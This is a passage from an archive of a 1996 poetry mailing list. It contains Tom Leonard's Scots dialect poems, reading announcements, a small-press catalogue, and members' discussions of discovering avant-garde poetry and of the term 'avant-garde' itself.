ahv drank
thi speshlz
that wurrin
the frij

n thit
yiwurr probbli
hodn back
furthi parti

awright
they wur great
thaht stroang
thaht cawld

and one more untitled original for good measure:

right inuff
ma language is disgraceful

ma maw tellt mi
ma teacher tellt mi
thi doactir tellt
thi priest tellt mi

ma boss tellt mi
ma landlady in carrington street tellt mi
the lassie ah tried tay get aff way back in 1969 tellt mi
sum we smoat thi thoat ah hudny read chomsky tellt mi
a calvinistic communist thi thoat i wuz revisiionist tellt mi

po-faced literati grimly kerryin thi burden a thi past tellt mi
po-faced literati grimly kerryin thi burden a thi future tellt mi
ma wife tellt mi jist-tay-get-inty-this-poem tellt mi
ma wainz hame fray school an tellt me
jist aboot ivry book ah oapnd tellt mi
even thi introduction tay thi National Scottish Dictionary tellt mi

ach well
all livin language is sacred
fuck thi lohta thim

↑ Index

135. Susan Schultz
Re: TINFISH erratum
Fri 8 Mar 1996

To everyone who gets a copy of TINFISH #2: pages 2 and 3 of Joe Balaz's poem are reversed from what they should be. The actual order, then, goes as follows: pages 1,3,2,4,5 make up what should be pages 1,2,3,4,5. Gabrielle Welford was acute enough to realize the error, for which I thank her (even as my feeling about messengers is ambivalent at the moment!).

Susan Schultz

↑ Index

136. Chris Stroffolino
Re: POETRY CITY book offer
Sat 9 Mar 1996

Oops---wrong heading....
I have two questions.
1) For Deanna Ferguson---I hope you can get someone to bring copies of BOO to the NYU POERTY TALKS thing that's happening in late march----it'd probably be a great place to sell it to amerikans

like me.....
2) I need to backchannel Kevin Killian/Dodie Bellamy, but lost their sirius address.....could anyone forward it to me....
thank you, chris stroffolino

↑ Index

137. **Kevin Killian**
Re: Jim Brodey "Heart of the Breath" Readings
Sat 9 Mar 1996

I'd like to add that the West Coast Jim Brodey reading is being organized and presented by Small Press Traffic--in cosponsorship with the Poetics Program of New College.

Dodie Bellamy

> *Hard Press sponsors two readings to celebrate the release of*
> *Jim Brodey's "Heart of the Breath"*
>
> *West Coast*
>
> *When: Friday April 12 at 7:30 p.m*
> *Where: The New College Theater, 777 Valencia Street, San Francisco*
>
> *Who:*
>
> *Bill Berkson*
> *Tom Clark*
> *Joanne Kyger*
> *Larry Kearney*
> *Robert Grenier*
>
> *Joanne Kyger will play a tape of Brodey Reading*

↑ Index

138. **Emily Lloyd**
Re: This Is Just To Say
Sat 9 Mar 1996

My favorite "translation" of that poem is by a woman I was in a show with once. Her name's Rachelle Ray, and I have absolutely no idea what she's up to today, but I've remembered this:

This is Just to Say

I have packed
the clothes
which were in
the bedroom

and which
you were probably
stroking
before breakfast

Forgive me
he was delicious
so sweet
and you, so cold

_____

Emily

↑ Index

139. Charles Bernstein
test
Sat 9 Mar 1996

I have gotten several reports of problems with messages getting posted to the list. I sending this as a test to see if I can figure out what's wrong.

↑ Index

140. Lisa Samuels
Re: Silliman's 60s & another perspective
Sat 9 Mar 1996

dear ron, et al,

you wrote that one did not study 60s poetics in the 60s.
during my 1980-84 undergraduate education, i had no idea
that anyone was really writing any poetry anymore -- apart
from the cookie-cutter lyrics in the -new yorker-, the daunting
perfections of -poetry-, etc. in part, that must have been
due to the schools i attended -- a small midwestern one,
then william & mary, then unc-chapel hill (i was hooked on
the transfer system). but still, i should have thought
some notion of a live scene might have trickled down.
        even more (after five years out of the school world),
i managed to get completely through my graduate coursework

and exams without ever once learning about language poetry,
much less any more recent poetic scene, or even any
individual not sanctioned by the likes of the yale younger poets
award. i had not heard of anyone on this list before about
a year and a half ago.
  i am the first to say my own failure to seek reading i
didn't know -- & perhaps not living in american cities --
had everything to do with my ignorance. but i was not,
technically, uneducated.
    i thought this perspective might be worth hearing, given
what a blessing the discovery of this world has been for me.
it's strange to realize how utterly non-existent one population
of the thought & writing world can be for another.

yours,

lisa samuels

↑ Index

141. **Albert Cook**
Re: test
Sat 9 Mar 1996

The message came through OK to me. Albert Cook

↑ Index

142. **chris daniels**
Re: Silliman's 60s & another perspective
Sat 9 Mar 1996

--- On Sat, 9 Mar 1996 11:57:02 -0500 Lisa Samuels
<[redacted]> wrote:

> *i am the first to say my own failure to seek reading i*
> *didn't know -- & perhaps not living in american cities --*
> *had everything to do with my ignorance. but i was not,*
> *technically, uneducated.*
> *i thought this perspective might be worth hearing, given*
> *what a blessing the discovery of this world has been for me.*
> *it's strange to realize how utterly non-existent one population*
> *of the thought & writing world can be for another.*
>
> *yours,*
>
> *lisa samuels*

lisa ---

even tho i live in sf bay area, i didn't quite realize that an avant-garde existed outside of the relatively small forces in academia until i got on a list much like this one in january and commenced putting my foot in my mouth in a very big way. was out of touch for abt 15 years, am complete autodidact, had assumed because of despair that avant-garde had basically become codified, (nonetheless have eyes and could have sought ... did not for various reasons, some of them good.)

imagine my delight when informed the opposite!

all to say yr not alone in intimations of blessedness.

yrs
---
christopher daniels <[redacted]> 3.9.96 10:38:51 am

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

143. chris daniels
plz disregard is a test
Sat 9 Mar 1996

please disregard
---
christopher daniels <[redacted]> 3.9.96 11:42:13 am

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

144. Kevin Killian

SPT upcoming events

Sat 9 Mar 1996

Small Press Traffic is presenting two exciting events in the next week or so.

Kevin Killian
and Tan Lin
Friday, March 15, 7:30 p.m.
at the New College Theater
777 Valencia Street
San Francisco
$5

Robert Glück & Carla Harryman
Tuesday, March 19, 8 p.m.
at New Langton Arts
1246 Folsom Street
San Francisco
$5

Those hot lights, trained on one's skin, were like the great eyes of God the poet Jack Spicer wrote of in Imaginary Elegies. They see everything, even under the skin where your thoughts are. Your dirty little thoughts. You can take off all your clothes and pretend to be "naked," but you are still Kevin Killian from Smithtown Long Island, with all the petty details that denotes. And yet at the same time the heat made me feel languorous, forgetful, like Maria Montez at the top of some Aztec staircase -dangerous, as though there were nothing beyond the circle of white-no audience, no society, only oneself and the red or purple or black hard-on that floats magically to the level of one's lips. I suppose all actors must feel the same way in some part of being-that the camera's eye represents the eye of God, which at the same time judges all and, threateningly, withholds all judgment till time turns off.

- from Kevin Killian's "Hot Lights"

The agents ('senders') numbered about forty and the tests included a number, a wild animal with a letter written over his head, two intersected coloured lines, a taste, a pain at some point on the hands or arm, the emotional experiences of a drowning man, and finally what a fireman feels like when he is rescuing a girl.

All the stimuli were chose automatically by means of a machine. Listeners were informed of the general nature of the stimulus, whether it was an animal, a number, and so on.

There shall be with seraphim and cherubim, there also we shall meet with thousands and thousands of others that have gone before us to that place.

enlarged lymph mode divisional sales chart fully jacketed bullet

[insert photo here] [insert photo here] [insert photo here]

- from Tan Lin's "100 Second Chances"

↑ Index

145. Robert Drake
Re: Silliman's 60s & another perspective
Sat 9 Mar 1996

> *(Lisa Samuels)*

>during my 1980-84 undergraduate education, i had no idea
>that anyone was really writing any poetry anymore -- apart
>from the cookie-cutter lyrics in the -new yorker-, the daunting
>perfections of -poetry-, etc.
...
> even more (after five years out of the school world),
>i managed to get completely through my graduate coursework
>and exams without ever once learning about language poetry,
>much less any more recent poetic scene, or even any
>individual not sanctioned by the likes of the yale younger poets
>award. i had not heard of anyone on this list before about
>a year and a half ago.
...
> i thought this perspective might be worth hearing, given
>what a blessing the discovery of this world has been for me.
>it's strange to realize how utterly non-existent one population
>of the thought & writing world can be for another.

a while back, someone here suggested the image of a Venn diagram to describe poetry communities in the us--numerous circles, each containing individuals w/ shared aesthetics or experiences; some of those circle partly overlapping, but mostly not, free-floating in space w/out any contact w/ each other... i've found it a very useful picture, added details in my own head (it must, frinstance, have at least 3 dimensions...), and generally hopeless that i could actually draw such a map. more than just LangPo has created a range ov work, and a community, that challenges the received traditions-- & it's sometimes disappointing to me

that such are not often included in th discussions here... but lisa reminds that this list, & resources like it, can literally change a reader's worldview, open the atlas to new maps, new territories... not a trivial matter.

lbd
trr/burning press

oh, yeah, lisa: no accident that i ellipsed out part of your original message, the parts where you blame yourself for lack ov exposure to alternatives...

↑ Index

146. Gabrielle Welford
one of my favorites forever!
Sat 9 Mar 1996

So glad you brought in Tom Leonard! He has to be one of the funniest and most pertinent poets around. A few more great poems in _The New British Poetry_, especially his version of "Baa Baa Black Sheep." Thanks. Gab.

↑ Index

147. Ron Silliman
Access (not in my 60s yet)
Sat 9 Mar 1996

It's instructive to recall how particular access to this world invariably is. I grew up in a family without books (beyond Readers Digest Condensed Novels) or music, but it was at the edge of Berkeley and my restlessness put me in touch with so many things. Seeing Chris Daniels, who lives 7 blocks from the best bookstore in the USA (1814 San Pablo Ave), write of his imagination of a codified (reified?) avant-garde underscores the problem for each of us. I tend to think that every one of us is in some sense (not Gerry Jamposlky's or Jeremy Tarcher's) a miracle. Somehow we did find our way here. It's a test. I discovered Louis Zukofsky through public TV. Bob Holman is going to change somebody's life with his series--in ways that he cannot predict nor control. Good for him.

L-Bob is absolutely right about the existance (and importance) of many other scenes simultaneous to (overlapping with) (contesting against) L-poesy, without which the world would be arid indeed. I think it's important to acknowledge the value in such scenes and not simply theoretically. For me at least, these scenes are precisely what poetry at its best is about.

Communitas,
Ron Silliman

↑ Index

148. **Tim Wood**
Re: POETRY CITY book offer
Sat 9 Mar 1996

Just for my personal and professional curiosity, would you tell me more about Poetry City?

Tim

> *POETRY CITY, the experimental theme park,*
> *is proud to make a special offer to poetix readers:*
>
> *TWO BOOKS BY BILL LUOMA for $10 ppd*
>
> *_My Trip to New York City_ and _Swoon Rocket_,*
> *both published by The Figures,*
> *sell separately in stores for $11.*
>
> *Just email POETRY CITY at* [redacted]
> *and send your real-world address.*
> *We'll send you a bill.*
>
> *But hurry! quantities are limited, and when*
> *_My Trip to New York City_ is gone, that'll be it!*
>
> *(_Swoon Rocket_ is available separately for $5 ppd*
> *or 20% off--order now, but please, not to the list!)*
>
> *Thanks,*
> *Jordan Davis*

in space no one can hear you scream in Dallas no one cares...

Check out the Voices new poetry website at http://www.connect.net/twood/
the Word, Dallas' monthly arts guide: http://www/connect.net/twood/word.html
poetry & video poetry ---- graphic design & database development

↑ Index

149. **Tim Wood**
Re: BOO Magazine
Sat 9 Mar 1996

Deanna,

what are the articles about?

Tim

in space no one can hear you scream in Dallas no one cares...

Check out the Voices new poetry website at http://www.connect.net/twood/
the Word, Dallas' monthly arts guide: http://www/connect.net/twood/word.html
poetry & video poetry ---- graphic design & database development

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150. **mikl-em**

90's and other perspectives...

Sat 9 Mar 1996

Lisa's note struck a chord, esp. in light of luigi's reply re: circles overlapping--she having attended w&m and now being at UVA, and I being a graduate of James Madison, a third VA university.

I had a professor who talkd about Lpo's, but I gather there was no support for her actually teaching a class focused on them. She accurately reccommended several off-stream poets that I would be interested in, but alas I didn't find them until after my school days were up. I do regret not being able to encounter writers such as Howe and Scalapino in a classroom setting, becuz I find it difficult to blend smoothly into their work reading them on my own. There are other neglected poets though, ones who are outside of some of the movements which get more press, and it took my own active pursuit to uncover Rexroth, Patchen, Antin, Blackburn and others who have been essential for me and my writing.

Ultimately Language Poetry intimidates me, not only in the work itself, but since it is the avant-garde establishment, so to speak, must it be dealt with in order to proceed, and, if so, are those who know the present limited by it, ala' the Apexers? Meanwhile, I am trying to find the poets of language poetry, mostly one by one, and I think will eventually be glad for finding them the way I am, rather than buying the whole posse on one ticket.

Incidentally, I had a friend who became somewhat of a convert to LangPo from an undergrad class at UVA--taught by none other than Tan Lin who is about to read in the SPD series. How's that for closure?

A couple other threads to touch on: I clearly remember scanning the bios in my undergrad anthology, Norton I'm sure, and finding consistently Ivy leaguers and WWII vets, interesting that the GI Bill and the rift from the Vietnam era experience are strange cousins in a way as far as "producing" poets. I know that it isn't so simplistic a case, but does it make you wonder how a generation that isn't touched so intimately with War will differ in focus? Let's hope that we find out.

And finally, I know another Bowling Green poet, who also was a JMU undergrad, Denver Butson, who studied under Ted Enslin there--not hugely published, but doing excellent work.

take care all,
michael
[redacted]

↑ Index

151. Steve Carll
Re: dub test (Delete Unless Bernstein)
Sat 9 Mar 1996

At 11:56 AM 3/9/96 -0500, you wrote:
>I have gotten several reports of problems with messages getting posted to
>the list. I sending this as a test to see if I can figure out what's
>wrong.

here's typing at you.

↑ Index

152. chris daniels
another by tom leonard
Sat 9 Mar 1996

GOOD STYLE

helluva hard tay read theez innit
stull
if yi canna unnirston thim jiss clear aff then
gawn
get tay fuck ootma road

ahmaz goodiz thi lota yiz so ah um
ah no whit ahm dayn
tellnyi
jiss try enny a yir fly patir wi me
stick thi bootnyi good style
so ah wull

(from the faber book of xx-cent. scottish poetry)
great anthology

later ---

chris
---
christopher daniels <[redacted]> 3.9.96 5:33:37 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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153. **chris daniels**
Re: Access (not in my 60s yet)
Sat 9 Mar 1996

---

ron silliman ---

> *Seeing Chris
> Daniels, who lives 7 blocks from the best bookstore in the USA (1814
> San Pablo Ave), write of his imagination of a codified (reified?)
> avant-garde underscores the problem for each of us.*

well, yeah, codified: reduced to a code or set of laws, i.e. DEAD. for many many reasons, and to my loss, that was my initial reaction to langpo theory and praxis around and abt 1980. was way too "dense" for me back then. not now tho.

in my defense i must say that i moved to this part of berkeley last october. SPD is a wonderful store. i volunteer there off and on and am becoming friends with steve dickison. but SPD for various reasons is unable to stock i wld say MOST of what is going on right now. i know, i've gone in there, TAPROOT in hand, to find nothing i wanted to check out. particularily no vizpo, most tragic.

you signed yr post: COMMUNITAS

this is the beauty of the web, where a relatively well-known poet like yrself may be approached and engaged in friendly discussion with no question of hassle. obviously you are online because you want to be. if i saw you on the street i would never approach you, not wishing to bug you. the web makes it all so easy, has created a potentially VAST community for poets.

very heartening.

yrs ---

chris
---
christopher daniels <[redacted]> 3.9.96 5:54:55 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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154. Tim Wood
Re: Spring issue of SPT newsletter
Sat 9 Mar 1996

Dodie,

I've recently joined the mailing list and --since it has spammed my mailbox-- I just got to your message. Pity is there are still three hundred on either side of yours to read. Anyway, if it's not too late, I'd like to recieve a copy of Traffic. I can be reached at PO Box 835984 Richardson Tx 75083

thanks,
Tim

in space no one can hear you scream in Dallas no one cares...

Check out the Voices new poetry website at http://www.connect.net/twood/
the Word, Dallas' monthly arts guide: http://www/connect.net/twood/word.html
poetry & video poetry ---- graphic design & database development

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155. James Barton Rollins
A Protest Against the Missile Exercise (fwd)
Sun 10 Mar 1996

Date: Sun, 10 Mar 96 15:01:40 -0800
From: rhhwang <[redacted]>
To: [redacted]
Subject: A Protest Against the Missile Exercise

A Protest Against the Missile Exercise

Starting from March 8th the People's Republic of China will launch a series of missile exercises. The missiles will fall roughly 20 kilometers from the coast of Taiwan. This is a prelude to a full scale military blockade of Taiwan, an island girded by the seas.

Freedom and democracy of the 21 million peace-loving people in Taiwan are now being threatened. The international community should not stand by and let the people of Taiwan lose their freedom.

↑ Index

156. J. Ellis McAdams

Re: Wars

Sun 10 Mar 1996

Michael asked yesterday "how a generation that isn't touched so intimately with War will differ in focus?" I think this question is very much complicated by the Gulf War, so that many of the undergraduates presently in universities believe that they have had a close, first-hand experience with war, because, as many of them have told me, for the first time people "at home" were "on the frontlines" a la CNN et al.

This issue arose last week in my seminar, "Contemporary Native America," when we read Adrian C. Louis's "Red Blues in a White Town the Day We Bomb Iraqi Women and Children" from his AMONG THE DOG EATERS (Albequerque: West End Press). A few students were angry about what they perceived to be "America bashing"--nothing unusual there--but one of them said something interesting re: Louis's supposed anti-whiteness, "Well, he is, but I don't take it personally." When I suggested that maybe he should take it "personally," that Louis intended to make white people uncomfortable, he and the other students did not seem to grasp what this might mean in a concrete sense.

I'm rambling here, but I see a connection, that is, the inability (or unwillingness) of students to put themselves into the equation--of the poem, in this instance--even as they see themselves involved in this TV war. I'm wondering 1) what others' experience about the Gulf War have been in the classroom? and 2) what strategies you use in the classroom to enable students to write themselves into the text?

Janet

Note: My use of the term TV War is in no way intended to be dismissive of the horror and brutality of what we did in Iraq.

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157. **Maria Damon**
Re: test
Sun 10 Mar 1996

---

i got this msg, thanks, today it seems to be working--md

↑ Index

158. **Maria Damon**
Re: test
Sun 10 Mar 1996

---

wow, albert cook, i didn't know you were on the list. awesome, ... my graduate advisor turned me on to your stuff...
maria d

↑ Index

159. **Maria Damon**
Re: Poetry City/yo wally lew
Sun 10 Mar 1996

---

hiya wally, my old friend peter gibian (who you met at your pacific film archive show in the 80s) teaches at McGill, i'll let him know youre coming. or better yet, his e-address is [redacted] so you can get in touch. see ya thurs. (yay!)--md

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160. **Maria Damon**
Re: msgs
Sun 10 Mar 1996

---

hi guyzies, i'm getting msgs again. thanks for your support, concern, sympathy, and fine suggestions, all of which have been invaluable in my time of need.
bests, md

↑ Index

161. **Tony Green**
Re: test
Sun 10 Mar 1996

Receiving you cool & exquisite, Charles. Best,

Tony Green,
e-mail: [redacted]

↑ Index

162. chris daniels
Re: test
Sun 10 Mar 1996

---

likewise, dude
---
christopher daniels <[redacted]> 3.10.96 11:00:14 am

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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163. Aldon L. Nielsen
Re: Going on without George Burns
Sun 10 Mar 1996

---

recent dialogue interesting to me -- when in university in the 70's (undergrad) never really expected that professors might teach from contemporary poets, and was thus never disappointed (later courses with David McAleavey, lurking around this list, were a welcome change in that regard) -- book stores in D.C. then weren't much help either --

so one seized upon those few openings -- such as the short-lived folio books, where one could actually buy small press books by poets one had never heard of -- followed in the same space by second story books, whose used & new sections included much of interest and where the employees held readings by the likes of Silliman, Hejinian, Palmer, Kelly, and welcomed local poets to read as well -- That store was my introduction to those poets, and I am sure this was the pattern in other parts of the country for other readers -- the academy was not, even for those of us who by then intended to become academics, where one hoped to encounter such works --

Now, as someone who does attempt the teaching of contemporary poets I remind myself of those days as a caution -- who might I be overlooking that my students would later thank me for?

The answer now as then is to do what I always did with music -- to make a point of finding and reading poets whose names are new to me -- and that may be, for me, the chief value of this list!

this has been a test -- people have been telling me that poetry is not getting through -- no need to respond -- test will resume at the usual location & time

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164. KUSZAI
ANNOUNCING RON SILLIMAN's _XING_ from MEOW PRESS
Sun 10 Mar 1996

Xing

by Ron Silliman

Meow Press
Buffalo, 1996

52 pages, saddle-stitched
No ISBN
Published in an edition of 300
$6
Available from SPD
1851 San Pablo, Ave.
Berkeley, CA 94051

Comprised of 364 three line stanzas, this single long poem is the latest installment in Silliman's ALPHABET, a project begun with the publication of ABC in 1983 by Lyn Hejinian in her Tuumba chapbook series. _Xing_ affords the reader the possible view of a writer at work, engaging with the everyday while filtering in/out the effects on consciousness of the material circumstances of the poet's life and thought. Like in Zukofsky's poetry, the domestic scene registers its familial tonality upon the poem's optics: the poet writing and the meditative quality of writing which includes itself as part of the frame of the everyday experience. Curiously enjambed, the materials brought together in this poem represent an encyclopedia of careful attentions, with characteristic wit:

(noticing how Big Bird
never moves his right wing
expect for certain distance shots

in which he doesn't open
his beak or move his head,
I begin to wonder

If Bob Dole isn't also
a muppet). Cuticle
torn down the side of the nail. (p. 23)

* * *

OTHER TITLES AVAILABLE FROM MEOW PRESS

George Albon, _King_ $5
Andrews, Bernstein, Sherry, _Technology/Art: 20 Brief Proposals_ $5
Rachel Tzvia Back, _Litany_ $6
Michael Basinski, _Cnyttan_ $5
Charles Bernstein, _The Subject_ $6
Jonathan Brannen, _The Glass Man Left Waltzing_ $5
Dubravka Djuric, _Cosmopolitan Alphabet_ $5
Robert Fitterman, _Metropolis_ $5
Benjamin Friedlander, _A Knot is Not a Tangle_ $5
Benjamin Friedlander, _Anterior Future_ $5 (New Reprint!)
Peter Gizzi, _New Picnic Time_ $5
Loss P. Glazier, _The Parts_ $5
Mark Johnson, _Three Bad Wishes_ $6
Pierre Joris, _Winnetou Old_ $5
Elizabeth Robinson, _Iemanje_ $5 (New Reprint!)
Leslie Scalapino, _The Line_ $5
James Sherry, _4 For_ $5
Misko Suvakovic, _Pas Tout_ $5
Juliana Spahr, _Testimony_ $6
Bill Tuttle, _Epistolary Poems_ $5

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Dodie Bellamy & Robert Harrison, _Broken English_
Wendy Kramer, _Patinas_
Meredith Quartermain, _Terms of Sale_
Aaron Shurin, _Codex_

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or by mail

151 Park Street
Buffalo, NY 14201

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165. Sheila E. Murphy
COLLEEN LOOKINGBILL READING
Mon 11 Mar 1996

Thursday, March 14th, the Scottsdale Center for the Arts (greater Phoenix area) is pleased to present a reading by Colleen Lookingbill at 8:00 p.m. Colleen's reading will be followed by an open reading.

This is a free event, and all are welcome.

Hope those of you living in or visiting the Phoenix area will join us!

↑ Index

166. Paul Naylor
Counter-example
Mon 11 Mar 1996

Although I suspect most on the list have had experiences similar to Mike and Aldon and others who discovered contemporary avant-garde poetry outside the academy, I'd like to say that my experience was very different. I was a graduate student at the University of California, San Diego from 1983 to 1989, and, thanks mostly to Michael Davidson, that's where I discovered the poets that now mean the most to me. When I think back on the poets I heard read at UCSD -- Palmer, Howe, Bernstein, Andrews, Silliman, Hejinian, Mayer, McCaffery, Mackey, Mac Low, Blaser, Coolidge, to name just the ones that pop to mind immediately -- and the poets I discovered, yes, in the class room -- Ashbery, Oppen, Creeley, Zukofsky, Niedecker, Spicer, Duncan, Stein, etc. -- well, I feel the need to come to the defense of at least one university. And I am trying to pass that experience on to my students here at The University of Memphis, where I've been able to teach a special topics course to undergraduates on experimental poetry as well as a graduate seminar on that same topic. Since I grew up in Utah (rumor has it the 60s have finally begun there), there was no way I could have discovered the avant-garde in bookstores or at readings during the 70s. Anyway, I guess the moral is: not all universities suppress the new.

Paul Naylor

MAIL
SEND
in%"[redacted]"
in%"[redacted]"

SEND
in%"[redacted]"
in%"[redacted]"

↑ Index

167. **James Perez**
avant-garde
Mon 11 Mar 1996

---

perhaps I'm just sensitive to this particular word, avant-garde, but with all the other ideas I'm thinking during the day, I just can't agree with it

I hope I'm never an avant-garde poet I mean, who do you really think you're leading to artistic salvation? For me, personally, the word reeks of "elitism," belief in linear evolution (the people who use the terms first, second, third-world as a value judgement or "logical" progression).

The avant-garde were those _guys_ saying, someday, when you are enlightened like me, you'll understand what I was talking about/expressing.

I feel like I'm opening up that whole censor-ship/ what words can we use/ pomo indian thing again. But I guess I'll post anyway.

I just want to know if other people out there object to the use of "avant-garde" as a way of describing the writing going on by those on the list and in discussion of the list. I just think it's a little conceited/ ego-centric. Experimental is one thing, avant-garde is another, but I guess, why are we using these adjectives at all.

James Perez
[redacted]

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168. **Eryque Gleason**
Re: avant-garde
Mon 11 Mar 1996

James Perez:
>I just want to know if other people out there object to the use of
>"avant-garde" as a way of describing the writing going on by those on the
>list and in discussion of the list. I just think it's a little conceited/

>ego-centric. Experimental is one thing, avant-garde is another, but I guess,
>why are we using these adjectives at all.

I object to the vagueness of the terms 'avant-garde' and 'experimental'. Both are over-used and have gazillions of implications/connotations/relationships of/to other words and meanings. Experimental is used to describe nearly everything even slightly new that we can't think of another word for. Home/kitbuilt airplanes are licensed as 'experimental' and must have big letters saying so near the cockpit, even though few homebuilt designs ar really experiments anymore, they've been proven to be as reliable as any other design. As for poetry, it seems to me that any/everything written without an easily accessible narrative is described as 'experimental'. A few months ago Gwyn McVay (I think) coined the term 'quertzblatz poetics' or some such, which i think is just plain fun to say.

Same with avant-garde (although the FAA doesn't use that term anywhere). Everyone seems to have different ideas of what this is. In junior high and high-school I was lead to believe that all avant-garde artists were elitist french chain-smoking ascot wearers.

We've got to use *some* adjectives to describe what we're talkking about, but why do we use such silly ones?

Eryque

↑ Index

169. Ray Davis
Re: avant-garde
Mon 11 Mar 1996

> *Experimental is one thing, avant-garde is another, but I guess,*
> *why are we using these adjectives at all.*

Genre is a matter of marketing category & argumentative community, & "avant-garde poetry" is just the name of a genre -- pretty much the same genre as "experimental poetry", I think (speaking as a poetry purchaser).

If we choose to take the "its true meaning is..." approach to etymology, the term "avant-garde" is just as embarrassingly inaccurate as "mystery", "realism", "pornography", "science fiction", "the mainstream", "heroic couplet", or "match" (which derives from "nostril"). One might take the embarrassing inaccuracy of the etymology as a hint that genres can't be clearly defined rather than try to stamp out use of genre terms.

Then again, coming up with _new_ genre terms can be a very useful exercise, both for marketing purposes & for establishing communities.

Ray

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170. Michael Boughn
Re: avant-garde
Mon 11 Mar 1996

For those (relatively) new to this list, there was a long exchange regarding the appropriateness of the tern "experimental" about a year and a half ago. Check out the archive.

As for a=v=a=n=t-g=a=r=d=e, it began, after all, as a military term. Need I say more?

Love,
Mike
[redacted]

↑ Index

171. Don Cheney
Re: Avant-Garde kills bugs dead
Mon 11 Mar 1996

The other day I was thinking of the term "options open". Does anybody know who COINED that? I'm sure I read/heard it somewhere because only terms like "DO NOT VIOLATE DOOR-LATCH INTEGRITY" come to my mind without a proper visa. was that you what said that, ron S.? i'm not sure i think the term applies to my process of writing but maybe (hopefully) my writing allows for an "options open" reading.

Don Cheney

James Perez:
>I just want to know if other people out there object to the use of
>"avant-garde" as a way of describing the writing going on by those on
the >list and in discussion of the list. I just think it's a little
conceited/ >ego-centric. Experimental is one thing, avant-garde is
another, but I guess, >why are we using these adjectives at all.

Eryque: I object to the vagueness of the terms 'avant-garde' and 'experimental'. Both are over-used and have gazillions of implications/connotations/relationships of/to other words and meanings. Experimental is used to describe nearly everything even slightly new that we can't think of another word for. Home/kitbuilt airplanes are licensed as 'experimental' and must

have big letters saying so near the cockpit, even though few homebuilt designs ar really experiments anymore, they've been proven to be as reliable as any other design. As for poetry, it seems to me that any/everything written without an easily accessible narrative is described as 'experimental'. A few months ago Gwyn McVay (I think) coined the term 'quertzblatz poetics' or some such, which i think is just plain fun to say.

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We've got to use *some* adjectives to describe what we're talkking about, but why do we use such silly ones?

Eryque

↑ Index

172. **chris daniels**

Re: avant-garde

Mon 11 Mar 1996

---

well we're all just trying to write and who cares what it gets called? i myself couldn't care less what anybody CALLS what i write. all i ask is that if they read it, they really READ it and try to meet it halfway. labelling performs many functions, most of them useless to the process of MAKING art. talking abt art is a different story. "avant-garde" seems abt as good a term as any other.
---------- christopher daniels <[redacted]> 3.11.96 7:45:19 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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173. Eryque Gleason
Re: avant-garde
Tue 12 Mar 1996

> *well we're all just trying to write and who cares what it gets called? i myself couldn't care less what anybody CALLS what i write. all i ask is that if they read it, they really READ it and try to meet it halfway.*

chris, i agree completelike,

> *labelling performs many functions, most of them useless to the process of MAKING art. talking abt art is a different story. "avant-garde" seems abt as good a term as any other.*

but i thought the issue was *talking* about art?

eryque "i left my tonsils in san fransisco" gleason

↑ Index

174. Aldon L. Nielsen
Re: what a difference a decade makes
Tue 12 Mar 1996

---

my own recollections to do with local variance (ask your zoning commission about it) -- Paul's later, enviable transit thru UCSD testimony to the value of Davidson's presence and the foresight of several others on that campus at that time --

On the other hand, at that same undergraduate academy where I could not expect to learn of innovative new poetries, we were required to take a course in African-American lit. crit., thus avoiding the now commonplace mistake of thinking that it all began with H.L. Gates & la bell dame hooks --

One looks around, locates that which is of use at whatever UNIverseCITY one has managed to get into, and heads straight for it --

Again, what I was more worried about looking back to my own education was the thought that there may be writers I should be introducing to my students to whom I have blinkered myself in one way or another --

I experimented for a time with the writing of avant garde verse, but gave it up as insufficiently innovative -- I am now determinedly guarding my derriere --

I am, you guessed it, a derrieridian

↑ Index

175. Peter Quartermain

Ghost books

Tue 12 Mar 1996

Imagist Anthology 1930, Edited by Glenn Hughes?, Forewords by Ford Madox
Ford and Glenn Hughes. London: Chaoot and Windus, 1930, lists at the end of its "Bibliography" on pages 153-154 four titles by William Carlos Williams:

Tempera. 1913.
Kora in Hell. 1920.
Four Grapes. 1921.
In the American Grave. 1925.

Does anyone know of any other ghost titles, announced (or even promised)?

+ + + +

chris 'i left my foot in my mouth' daniels

sort of tastes like chicken, actually ...

---
christopher daniels <[redacted]> 3.11.96 11:21:18 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen (?)

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

177. Kevin Killian
Re: Ghost books
Tue 12 Mar 1996

Peter Quartermain wrote:

> *Does anyone know of any other ghost titles, announced (or even promised)?*

Hi Peter . . . the 1st thing that popped into mind was the book by Dorothy L Sayers that her publishers kept announcing year after year, after she had quit writing detective stories, but she kept dangling this one last book at them season after season, called, "Thrones, Dominations." It was to her career what "Answered Prayers" was to Truman Capote's.

Okay, ghost books-probably hundreds (dozens?) of readers have wondered whatever became of Robin Blaser's book of "Astonishments," after his announcement of it twenty years ago at the end of Jack Spicer's "Collected Books." Peter, you are in as good a position as anyone to answer that question!! (There was also Stan's announcement-was it in 1970?-of the imminent publication of Spicer's "Vancouver Lectures.")

